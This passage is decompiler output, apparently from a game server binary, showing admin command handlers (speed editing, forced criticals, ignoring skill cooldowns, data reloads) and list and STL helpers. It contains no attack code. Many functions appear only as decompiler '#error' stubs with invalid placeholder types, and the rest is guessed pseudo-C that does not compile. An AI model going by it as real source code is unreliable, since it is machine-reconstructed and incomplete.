*sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int v6; // eax@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ParameterView"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ParameterView"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); ShineObjectClass::ShinePlayer::sp_ParameterView((void *)sp, v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ParameterView"); } //----- (00415160) -------------------------------------------------------- #error "415160: undefined or illegal type '#440' (funcsize=92)" //----- (004152B0) -------------------------------------------------------- #error "415344: positive sp value has been found (funcsize=42)" //----- (00415345) -------------------------------------------------------- void __cdecl sub_415345(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11) { JUMPOUT(sub_415355); } //----- (00415355) -------------------------------------------------------- #error "FFFFFFFF: positive sp value has been found (funcsize=0)" //----- (00415400) -------------------------------------------------------- #error "415400: undefined or illegal type '#440' (funcsize=86)" //----- (00415530) -------------------------------------------------------- #error "415530: undefined or illegal type '#440' (funcsize=52)" //----- (00415620) -------------------------------------------------------- #error "415620: undefined or illegal type '#440' (funcsize=47)" //----- (004156F0) -------------------------------------------------------- #error "4156F0: undefined or illegal type '#440' (funcsize=47)" //----- (004157C0) -------------------------------------------------------- #error "4157C0: undefined or illegal type '#440' (funcsize=85)" //----- (00415910) -------------------------------------------------------- #error "415910: undefined or illegal type '#440' (funcsize=63)" //----- (00415A20) -------------------------------------------------------- #error "415A20: undefined or illegal type '#440' (funcsize=64)" //----- (00415B30) -------------------------------------------------------- #error "415B30: undefined or illegal type '#440' (funcsize=69)" //----- (00415C50) -------------------------------------------------------- #error "415C50: undefined or illegal type '#440' (funcsize=70)" //----- (00415D40) -------------------------------------------------------- #error "415D40: undefined or illegal type '#440' (funcsize=99)" //----- (00415EA0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_EraseChargeBuff(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_EraseChargeBuff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_EraseChargeBuff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff((void *)sp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_EraseChargeBuff"); } //----- (00415F40) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_MobHatchery(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_MobHatchery"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_MobHatchery"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; MobHatchery::mh_View(mobhatchery, sp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_MobHatchery"); } //----- (00415FE0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_AllCritical(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { int v5; // [sp+4h] [bp-14h]@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_AllCritical"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_AllCritical"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( strncmp("0", (const char *)arg, 2) ) v5 = (int)&roe_alwaysCritical; else v5 = (int)&roe_normalPY; ShineObjectClass::ShinePlayer::sp_SetRulesOfEngagement((int)sp, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_AllCritical"); } //----- (004160A0) -------------------------------------------------------- #error "4160A0: undefined or illegal type '#440' (funcsize=126)" //----- (00416260) -------------------------------------------------------- #error "416260: undefined or illegal type '#440' (funcsize=70)" //----- (00416370) -------------------------------------------------------- #error "416370: undefined or illegal type '#440' (funcsize=63)" //----- (00416450) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ObserverLinkTo(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { int v5; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ObserverLinkTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ObserverLinkTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = atoi((const char *)arg); ShineObjectClass::ShinePlayer::sp_Guild_Tournamnet_Observer_Enter(sp, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ObserverLinkTo"); } // 454800: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_Guild_Tournamnet_Observer_Enter(_DWORD, _DWORD); //----- (00416500) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ObserverOut(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ObserverLinkTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ObserverLinkTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_Guild_Tournamnet_Observer_Out((int)sp, 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ObserverLinkTo"); } //----- (004165A0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_EditSpeed(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { signed int v5; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_EditSpeed"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_EditSpeed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( atoi((const char *)arg) >= 1000 ) v5 = atoi((const char *)arg); else v5 = 1000; ShineObjectClass::ShinePlayer::sp_SetTotalMoveSpeed((int)sp, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_EditSpeed"); } //----- (00416660) -------------------------------------------------------- #error "416660: undefined or illegal type '#440' (funcsize=29)" //----- (00416700) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_CurTime(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int cur; // [sp+4h] [bp-98h]@1 FunctionEntarance _; // [sp+8h] [bp-94h]@1 char buffer[128]; // [sp+Ch] [bp-90h]@1 unsigned int v9; // [sp+8Ch] [bp-10h]@1 int v10; // [sp+98h] [bp-4h]@1 v5 = this; _.fe_FunctionCode = "AmpersandCommand::ac_CurTime"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_CurTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_CurTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; mysecond(&cur); sprintf(buffer, "%d.%d.%d %d:%d[%u]"); AmpersandCommand::ac_wall(v5, sp, buffer); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_CurTime"); __security_check_cookie(v9); } //----- (00416820) -------------------------------------------------------- #error "416820: undefined or illegal type '#440' (funcsize=91)" //----- (00416970) -------------------------------------------------------- #error "416970: undefined or illegal type '#440' (funcsize=87)" //----- (00416AB0) -------------------------------------------------------- #error "416AB0: undefined or illegal type '#440' (funcsize=202)" //----- (00416D10) -------------------------------------------------------- #error "416D10: undefined or illegal type '#440' (funcsize=29)" //----- (00416DB0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_PW(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_PW"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_PW"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_PW((void *)sp, (const char *)arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_PW"); } //----- (00416E50) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_DebugLogging(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // ebx@1 char (*v6)[33]; // esi@1 char v7; // al@1 int v8; // edi@1 signed int v9; // ecx@1 bool v10; // zf@1 #440 *v11; // [sp-8h] [bp-24h]@5 char *v12; // [sp-4h] [bp-20h]@5 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_DebugLogging"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_DebugLogging"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = arg; v7 = AmpersandCommand::ac_Scanf(v5, &(*arg)[33]); v8 = (int)"BalanceLog"; v9 = 11; v10 = 1; do { if ( !v9 ) break; v10 = *(_BYTE *)v6 == *(_BYTE *)v8; v6 = (char (*)[33])((char *)v6 + 1); ++v8; --v9; } while ( v10 ); if ( v10 ) { BalanceLog.dl_Activ = v7; v12 = "BalanceLog changed"; v11 = sp; } else { v12 = "All of log changed"; DebugLogging::dl_ActivAll = v7; v11 = sp; } AmpersandCommand::ac_wall(v5, v11, v12); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_DebugLogging"); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00416F30) -------------------------------------------------------- #error "416F30: undefined or illegal type '#440' (funcsize=107)" //----- (004170C0) -------------------------------------------------------- #error "4170C0: undefined or illegal type '#440' (funcsize=143)" //----- (004172A0) -------------------------------------------------------- #error "4172A0: undefined or illegal type '#440' (funcsize=280)" //----- (00417690) -------------------------------------------------------- #error "417690: undefined or illegal type '#440' (funcsize=45)" //----- (00417750) -------------------------------------------------------- #error "417750: undefined or illegal type '#440' (funcsize=53)" //----- (00417820) -------------------------------------------------------- #error "417820: undefined or illegal type '#440' (funcsize=42)" //----- (004178C0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, AmpersandCommandElement *ele) { int v2; // eax@1 int v3; // eax@2 int v4; // esi@2 char result; // al@3 int v6; // esi@4 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2), (v4 = v3) != 0) ) { ORToken::operator_(v3, (int)ele); *(_DWORD *)(v4 + 20) = ele->ace_adminlevel; v6 = v4 + 24; *(_DWORD *)v6 = ele->ace_func; *(_DWORD *)(v6 + 4) = *(_DWORD *)&ele->gap1c[0]; *(_DWORD *)(v6 + 8) = *(_DWORD *)&ele->gap1c[4]; *(_DWORD *)(v6 + 12) = *(_DWORD *)&ele->gap1c[8]; result = 1; } else { result = 0; } return result; } //----- (00417920) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, AmpersandCommandElement *ele) { int v2; // eax@1 int v3; // eax@2 int v4; // esi@2 char result; // al@3 int v6; // esi@4 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2), (v4 = v3) != 0) ) { ORToken::operator_(v3, (int)ele); *(_DWORD *)(v4 + 20) = ele->ace_adminlevel; v6 = v4 + 24; *(_DWORD *)v6 = ele->ace_func; *(_DWORD *)(v6 + 4) = *(_DWORD *)&ele->gap1c[0]; *(_DWORD *)(v6 + 8) = *(_DWORD *)&ele->gap1c[4]; *(_DWORD *)(v6 + 12) = *(_DWORD *)&ele->gap1c[8]; result = 1; } else { result = 0; } return result; } //----- (00417980) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, AmpersandCommandElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bx@1 int v6; // eax@2 int v8; // edi@4 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; v8 = *(_DWORD *)v6; ORToken::operator_((int)ele, *(_DWORD *)v6); ele->ace_adminlevel = *(_DWORD *)(v8 + 20); v8 += 24; ele->ace_func = *(void (__thiscall **)(AmpersandCommand *, unsigned __int16, #440 *, int, char (*)[33]))v8; *(_DWORD *)&ele->gap1c[0] = *(_DWORD *)(v8 + 4); *(_DWORD *)&ele->gap1c[4] = *(_DWORD *)(v8 + 8); *(_DWORD *)&ele->gap1c[8] = *(_DWORD *)(v8 + 12); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00417A00) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, AmpersandCommandElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bx@1 int v6; // eax@2 int v8; // edi@4 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; v8 = *(_DWORD *)v6; ORToken::operator_((int)ele, *(_DWORD *)v6); ele->ace_adminlevel = *(_DWORD *)(v8 + 20); v8 += 24; ele->ace_func = *(void (__thiscall **)(AmpersandCommand *, unsigned __int16, #440 *, int, char (*)[33]))v8; *(_DWORD *)&ele->gap1c[0] = *(_DWORD *)(v8 + 4); *(_DWORD *)&ele->gap1c[4] = *(_DWORD *)(v8 + 8); *(_DWORD *)&ele->gap1c[8] = *(_DWORD *)(v8 + 12); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00417A80) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00417AD0) -------------------------------------------------------- void __thiscall KingdomQuest::KQElement::KQElement(KingdomQuest::KQElement *this) { KingdomQuest::KQElement *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this->kqe_kqinfo.MapLink, 0x1Au, 4, (void (__thiscall *)(void *))PROTO_KQ_MAP_INFO::PROTO_KQ_MAP_INFO, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); _eh_vector_constructor_iterator_( v1->kqe_mapinfo, 0x24u, 4, (void (__thiscall *)(void *))KingdomQuest::KQElement::KQElementMap::KQElementMap, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); PineScriptToken::pst_Clear(&v1->kqe_Script); PineScriptToken::pst_Clear(&v1->kqe_InitValue); KingdomQuest::KQPlayerInfoList::KQPlayerInfoList(&v1->kqe_PlayerList); } //----- (00417B70) -------------------------------------------------------- void __thiscall KingdomQuest::KQElement::_KQElement(KingdomQuest::KQElement *this) { KingdomQuest::KQElement *v1; // esi@1 v1 = this; List::_List(&this->kqe_PlayerList); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->kqe_InitValue); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->kqe_Script); _eh_vector_destructor_iterator_( v1->kqe_mapinfo, 0x24u, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); _eh_vector_destructor_iterator_( v1->kqe_kqinfo.MapLink, 0x1Au, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00417C10) -------------------------------------------------------- #error "417C10: undefined or illegal type '#592' (funcsize=122)" //----- (00417DD0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_NPCRevive(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { int v5; // edi@1 unsigned __int16 v6; // si@1 signed int v7; // ebp@1 int v8; // eax@3 bool v9; // cf@3 int v10; // eax@4 int v11; // ebx@5 int v12; // eax@6 int v13; // [sp+10h] [bp-18h]@1 unsigned __int16 v14; // [sp+14h] [bp-14h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_NPCRevive"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_NPCRevive"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; v5 = *(_DWORD *)(unk_1247FF0C + 8); v6 = *(_WORD *)(v5 + 12 * *(_WORD *)(unk_1247FF0C + 14) + 4); v7 = 10000; v14 = *(_WORD *)(unk_1247FF0C + 4); while ( v6 < v14 ) { v8 = v6; v9 = v6 < v14; v6 = *(_WORD *)(v5 + 12 * v6 + 4); if ( !v9 ) break; v10 = v5 + 12 * v8; if ( !*(_BYTE *)(v10 + 8) ) break; v11 = *(_DWORD *)v10; if ( !*(_DWORD *)v10 ) break; v12 = ShineObjectClass::ShineObject::so_DistanceSquar(v11, (int)sp); if ( v12 < (unsigned int)v7 ) { v13 = v11; v7 = v12; } } if ( v13 ) (*(void (__cdecl **)(#440 *))(*(_DWORD *)v13 + 2564))(sp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_NPCRevive"); } //----- (00417EE0) -------------------------------------------------------- #error "417EE0: undefined or illegal type '#440' (funcsize=229)" //----- (00418220) -------------------------------------------------------- #592 *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(List *, unsigned __int16, #592 *), unsigned __int16 *hnd, #592 *key) { #592 *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(List *, unsigned __int16, #592 *); // [sp+8h] [bp-1Ch]@1 #592 *v8; // [sp+Ch] [bp-18h]@1 #592 *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 5A6570: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (00418290) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004183B0) -------------------------------------------------------- #error "4183B0: undefined or illegal type '#440' (funcsize=48)" //----- (004184C0) -------------------------------------------------------- #error "4184C0: undefined or illegal type '#440' (funcsize=180)" //----- (00418770) -------------------------------------------------------- #error "418770: undefined or illegal type '#592' (funcsize=97)" //----- (00418900) -------------------------------------------------------- void __thiscall std::allocator_std::allocator>>::destroy(std::allocator,std::allocator > > *this, std::basic_string,std::allocator > *_Ptr) { if ( _Ptr->_Myres >= 0x10 ) operator delete(*(void **)&_Ptr->_Bx._Buf[0]); _Ptr->_Myres = 15; _Ptr->_Mysize = 0; _Ptr->_Bx._Buf[0] = 0; } //----- (00418930) -------------------------------------------------------- void __cdecl std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::basic_string,std::allocator > *i; // esi@1 for ( i = _First; i != _Last; ++i ) { if ( i->_Myres >= 0x10 ) operator delete(*(void **)&i->_Bx._Buf[0]); i->_Myres = 15; i->_Mysize = 0; i->_Bx._Buf[0] = 0; } } //----- (00418970) -------------------------------------------------------- void *__thiscall std::out_of_range::_vector_deleting_destructor_(std::length_error *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::length_error::_length_error(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00418990) -------------------------------------------------------- void __thiscall std::length_error::_length_error(std::length_error *this) { std::length_error *v1; // esi@1 v1 = this; this->baseclass_0.baseclass_0.vfptr = (exceptionVtbl *)&std::logic_error::_vftable_; if ( this->baseclass_0._Str._Myres >= 0x10 ) operator delete(*(void **)&this->baseclass_0._Str._Bx._Buf[0]); v1->baseclass_0._Str._Myres = 15; v1->baseclass_0._Str._Mysize = 0; v1->baseclass_0._Str._Bx._Buf[0] = 0; exception::_exception(&v1->baseclass_0.baseclass_0); } // 5DBB4C: using guessed type int (__thiscall *std__logic_error___vftable_)(void *p, char); //----- (004189D0) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Xran(std::vector,std::allocator >,std::allocator,std::allocator > > > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00418A40) -------------------------------------------------------- void __thiscall std::out_of_range::out_of_range(std::out_of_range *this, std::out_of_range *__that) { std::out_of_range *v2; // esi@1 v2 = this; std::logic_error::logic_error(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.baseclass_0.vfptr = (exceptionVtbl *)&std::out_of_range::_vftable_; } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00418A60) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Xlen(std::vector,std::allocator >,std::allocator,std::allocator > > > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00418AD0) -------------------------------------------------------- #error "418AD0: undefined or illegal type '#440' (funcsize=107)" //----- (00418C50) -------------------------------------------------------- #error "418C50: undefined or illegal type '#440' (funcsize=107)" //----- (00418DD0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ReLoadData(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // edi@1 char strtype; // [sp+10h] [bp-2Ch]@1 void *p; // [sp+14h] [bp-28h]@1 unsigned int _N0; // [sp+24h] [bp-18h]@1 unsigned int v9; // [sp+28h] [bp-14h]@1 unsigned int v10; // [sp+2Ch] [bp-10h]@5 int v11; // [sp+38h] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ReLoadData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ReLoadData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; v9 = 15; _N0 = 0; LOBYTE(p) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strtype, (const char *)arg, strlen((const char *)arg)); LOBYTE(v11) = 1; if ( !std::basic_string_std::allocator>::compare( (std::basic_string,std::allocator > *)&strtype, 0, _N0, "ActiveSkill", 0xBu) ) { SkillDataBox::sdb_Load(&skilldatabox, 0); AmpersandCommand::ac_wall(v5, sp, "Reroad ActiveSkillData"); } if ( v9 >= 0x10 ) operator delete(p); --funcallanalizer.fca_stackpoint; v9 = 15; _N0 = 0; LOBYTE(p) = 0; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ReLoadData"); __security_check_cookie(v10); } //----- (00418F00) -------------------------------------------------------- #error "418F00: undefined or illegal type '#440' (funcsize=89)" //----- (00419040) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_IgnoreSkillCoolTime(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // ebp@1 char *v6; // [sp-4h] [bp-44h]@2 char strtype; // [sp+14h] [bp-2Ch]@1 void *p; // [sp+18h] [bp-28h]@1 unsigned int _N0; // [sp+28h] [bp-18h]@1 unsigned int v10; // [sp+2Ch] [bp-14h]@1 unsigned int v11; // [sp+30h] [bp-10h]@6 int v12; // [sp+3Ch] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_IgnoreSkillCoolTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_IgnoreSkillCoolTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v10 = 15; _N0 = 0; LOBYTE(p) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strtype, (const char *)arg, strlen((const char *)arg)); LOBYTE(v12) = 1; if ( std::basic_string_std::allocator>::compare( (std::basic_string,std::allocator > *)&strtype, 0, _N0, "1", 1u) ) { ShineObjectClass::ShinePlayer::sp_SetIgnoreCoolTime((int)sp, 1); v6 = "IgnoreSkillCoolTime true"; } else { ShineObjectClass::ShinePlayer::sp_SetIgnoreCoolTime((int)sp, 0); v6 = "IgnoreSkillCoolTime false"; } AmpersandCommand::ac_wall(v5, sp, v6); if ( v10 >= 0x10 ) operator delete(p); --funcallanalizer.fca_stackpoint; v10 = 15; _N0 = 0; LOBYTE(p) = 0; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_IgnoreSkillCoolTime"); __security_check_cookie(v11); } //----- (00419180) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Destroy(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last) { std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>( _First, _Last, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Last); } //----- (004191A0) -------------------------------------------------------- void __thiscall 